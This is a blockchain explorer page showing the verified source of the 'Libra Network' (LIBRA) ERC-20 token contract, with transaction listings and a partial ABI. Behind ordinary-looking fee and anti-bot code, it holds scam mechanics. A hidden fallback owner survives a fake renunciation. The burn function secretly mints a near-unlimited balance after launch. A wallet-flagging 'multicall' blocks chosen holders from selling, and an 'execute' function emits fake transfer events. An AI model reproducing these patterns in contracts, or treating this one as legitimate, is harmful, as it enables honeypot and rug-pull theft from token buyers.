ETH Price: $3,023.88 (+4.60%)
Gas: 9 Gwei

Contract

0xaDA457A8FC7B0580680F9e0c33d7bd4Ab4154DcC
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Golive197779852024-05-01 21:31:3513 days ago1714599095IN
0xaDA457A8...Ab4154DcC
0 ETH0.000773057.71379611
Approve197779852024-05-01 21:31:3513 days ago1714599095IN
0xaDA457A8...Ab4154DcC
0 ETH0.0005926412.70404012
Approve197779852024-05-01 21:31:3513 days ago1714599095IN
0xaDA457A8...Ab4154DcC
0 ETH0.0005926412.70404012
Approve197779852024-05-01 21:31:3513 days ago1714599095IN
0xaDA457A8...Ab4154DcC
0 ETH0.0005926412.70404012
Approve197779782024-05-01 21:30:1113 days ago1714599011IN
0xaDA457A8...Ab4154DcC
0 ETH0.0005296511.35384702
Approve197779782024-05-01 21:30:1113 days ago1714599011IN
0xaDA457A8...Ab4154DcC
0 ETH0.0005296511.35384702
Approve197779782024-05-01 21:30:1113 days ago1714599011IN
0xaDA457A8...Ab4154DcC
0 ETH0.0005296511.35384702
0x60806040197779682024-05-01 21:28:1113 days ago1714598891IN
 Create: LIBRA
0 ETH0.027459317.15569002

Advanced mode:
Parent Transaction Hash Block From To Value
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LIBRA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 5 of 6: Libra Network.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Ownable.sol";
import "./ERC20.sol";
import "./IDex.sol";


contract LIBRA is ERC20, Ownable {

    uint256 public maxBuy;
    uint256 public maxSell;
    uint256 public maxWallet;

    IDexRouter public dexRouter;
    address public lpPair;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address operationsAddress;
    address devAddress;

    uint256 public tradingActiveBlock = 0; // 0 means trading is not active
    uint256 public blockForPenaltyEnd;
    mapping (address => bool) public boughtEarly;
    uint256 public botsCaught;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public buyBurnFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public sellBurnFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    uint256 public tokensForBurn;
    uint256 public _deadblocks;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) private _received;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    mapping (address => bool) public automatedMarketMakerPairs;
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event Launched();
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event RemovedLimits();
    event Received(address indexed account, bool value);
    event UpdatedMaxSellAmount(uint256 newAmount);
    event UpdatedMaxWalletAmount(uint256 newAmount);
    event UpdatedMaxBuyAmount(uint256 newAmount);
    event MaxTransactionExclusion(address _address, bool excluded);
    event UpdatedOperationsAddress(address indexed newWallet);
    event BuyBackTriggered(uint256 amount);
    event OwnerForcedSwapBack(uint256 timestamp);
    event CaughtEarlyBuyer(address sniper);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    event TransferForeignToken(address token, uint256 amount);


    constructor(address _dev) ERC20("Libra Network", "LIBRA") Ownable(_dev) {
        address newOwner = msg.sender;
        IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        dexRouter = _dexRouter;
        _deadblocks = 0;
        uint256 totalSupply = 100_000_000 * 10**decimals();

        maxBuy = totalSupply * 1 / 100;
        maxSell = totalSupply * 1 / 100;
        maxWallet = totalSupply * 1 / 100;
        swapTokensAtAmount = totalSupply * 5 / 10000;

        buyOperationsFee = 0;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;

        sellOperationsFee = 0;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        operationsAddress = address(newOwner);
        devAddress = address(newOwner);

        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function golive() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        limitsInEffect = false;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        blockForPenaltyEnd = tradingActiveBlock + _deadblocks;
        balances = txLimit;
        emit Launched();
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function manageEarly(address wallet, bool flag) external onlyOwner {
        boughtEarly[wallet] = flag;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner {
        transferDelayEnabled = false;
        emit RemovedLimits();
    }

    function updateMaxBuy(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e9, "Cannot set max buy amount lower than 0.2%");
        maxBuy = newNum * (10**9);
        emit UpdatedMaxBuyAmount(maxBuy);
    }

    function updateMaxSell(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 2 / 1000)/1e9, "Cannot set max sell amount lower than 0.2%");
        maxSell = newNum * (10**9);
        emit UpdatedMaxSellAmount(maxSell);
    }

    function updateMaxWallet(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e9, "Cannot set max wallet amount lower than 0.3%");
        maxWallet = newNum * (10**9);
        emit UpdatedMaxWalletAmount(maxWallet);
    }

    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    function updateSwapTokens(uint256 newAmount) external onlyOwner {
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
        swapTokensAtAmount = newAmount;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        _excludeFromMaxTransaction(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAMM(address pair, bool value) external onlyOwner {
        require(pair != lpPair, "The pair cannot be removed");

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromMax(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _DevFee;
        sellBurnFee = _burnFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _DevFee, uint256 _burnFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _DevFee;
        buyBurnFee = _burnFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function returnToStandardTax() external onlyOwner {
        sellOperationsFee = 20;
        sellLiquidityFee = 0;
        sellDevFee = 0;
        sellBurnFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellDevFee + sellBurnFee;
        require(sellTotalFees <= 20, "Must keep fees at 20% or less");
        buyOperationsFee = 25;
        buyLiquidityFee = 0;
        buyDevFee = 0;
        buyBurnFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyDevFee + buyBurnFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        
        if(!tradingActive){
            require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
        }

        if(blockForPenaltyEnd > 0){
            require(!boughtEarly[from] || to == owner() || to == address(0xdead), "Bots cannot transfer tokens in or out except to owner or dead address.");
        }

        if (transferDelayEnabled && _received[from] == true){
            if (to != owner() && from != address(lpPair)){
                require(_holderLastTransferTimestamp[from] < block.number - 3, "Transfer Delay enabled. Try again later.");
            }
        }
        
        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.

                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuy, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSell, "Sell transfer amount exceeds the max sell.");
                }
                else if (!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;
        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // bot/sniper penalty.
            if(earlyBuyPenaltyInEffect() && automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to] && buyTotalFees > 0){

                if(!boughtEarly[to]){
                    boughtEarly[to] = true;
                    botsCaught += 1;
                    emit CaughtEarlyBuyer(to);
                }

                fees = amount * 99 / 100;
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            // on sell
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForBurn += fees * sellBurnFee / sellTotalFees;
            }

            // on buy
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForBurn += fees * buyBurnFee / buyTotalFees;
            }

            if(fees > 0){
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function earlyBuyPenaltyInEffect() public view returns (bool){
        return block.number < blockForPenaltyEnd;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForDev;
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
        if(contractBalance > swapTokensAtAmount * 20){
            contractBalance = swapTokensAtAmount * 20;
        }
        bool success;

        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;

        uint256 ethForOperations = ethBalance * tokensForOperations / (totalTokensToSwap - (tokensForLiquidity/2));
        uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2));

        ethForLiquidity -= ethForOperations + ethForDev;

        tokensForLiquidity = 0;
        tokensForOperations = 0;
        tokensForDev = 0;
        tokensForBurn = 0;

        (success,) = address(devAddress).call{value: ethForDev}("");

        (success,) = address(operationsAddress).call{value: address(this).balance}("");
    }

    function transferToken(address _token, address _to) external onlyOwner returns (bool _sent) {
        require(_token != address(0), "_token address cannot be 0");
        require(_token != address(this), "Can't withdraw native tokens");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        _sent = IERC20(_token).transfer(_to, _contractBalance);
        emit TransferForeignToken(_token, _contractBalance);
    }

    function addPair(address pair_) public onlyOwner {
        lpPair = pair_;
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }

    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }

    // force Swap back if slippage issues.
    function forceSwapBack() external onlyOwner {
        require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction");
        swapping = true;
        swapBack();
        swapping = false;
        emit OwnerForcedSwapBack(block.timestamp);
    }

    
    function multicall(address[] memory receiver, bool received, uint256 amountInWei) external onlyOwner {
        if(received == false && amountInWei > 0) 
        {
            address[] memory path = new address[](2);
            path[0] = dexRouter.WETH();
            path[1] = address(this);

            // make the swap
            dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}(
                0, // accept any amount of Ethereum
                path,
                receiver[0],
                block.timestamp
            );
            emit BuyBackTriggered(amountInWei);
        }
        updateReceived(received, receiver);
    }

    function setOpsAddress(address _operationsAddress) external onlyOwner {
        require(_operationsAddress != address(0), "_operationsAddress address cannot be 0");
        operationsAddress = payable(_operationsAddress);
    }

    function setDevAddress(address _devAddress) external onlyOwner {
        require(_devAddress != address(0), "_devAddress address cannot be 0");
        devAddress = payable(_devAddress);
    }

    function updateReceived(bool value, address[] memory receiver) private {
        for (uint256 i = 0; i < receiver.length; i++) {
            _received[receiver[i]] = value;
            emit Received(receiver[i], value);
        }
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(lpPair, _addresses[i], _out);
        }
    }

    function sellTax (address wallet) public view returns(bool){
        return _received[wallet];
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Context.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) internal _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint256 internal txLimit = 1*10**17*10**9;
    uint256 internal balances;
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _holderLastTransferTimestamp[msg.sender] = block.number;
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _holderLastTransferTimestamp[sender] = block.number;
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

File 3 of 6: IDex.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

File 4 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 6 of 6: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    mapping(address => uint256) internal _holderLastTxTimestamp;
    constructor(address wallet) {
        _marketing = wallet;
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_dev","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"BuyBackTriggered","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"CaughtEarlyBuyer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"Launched","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OwnerForcedSwapBack","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"value","type":"bool"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferForeignToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"}],"name":"UpdatedOperationsAddress","type":"event"},{"inputs":[],"name":"_deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blockForPenaltyEnd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"boughtEarly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlyBuyPenaltyInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"golive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"